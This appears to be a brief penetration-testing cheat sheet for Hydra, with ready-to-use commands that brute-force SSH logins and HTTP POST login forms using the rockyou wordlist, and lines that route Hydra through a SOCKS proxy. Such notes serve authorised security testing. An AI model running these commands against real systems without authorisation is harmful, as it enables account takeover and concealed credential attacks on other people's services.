Hydra (FTP/SSH/HTTP(S)

Bruteforce SSH login

hydra -l <username> -P /usr/share/wordlists/rockyou.txt ssh://<target ip>

Bruteforce HTTP POST login form

hydra <target ip> http-form-post "/form/frontpage.php:user=<username>&pass=^PASS^:INVALID LOGIN" -l <username> -P /usr/share/wordlists/rockyou.txt -vV -f

Run a SOCKS proxy through Hydra

HYDRA_PROXY=socks4://127.0.0.1:8080
export HYDRA_PROXY
printenv | grep HYDRA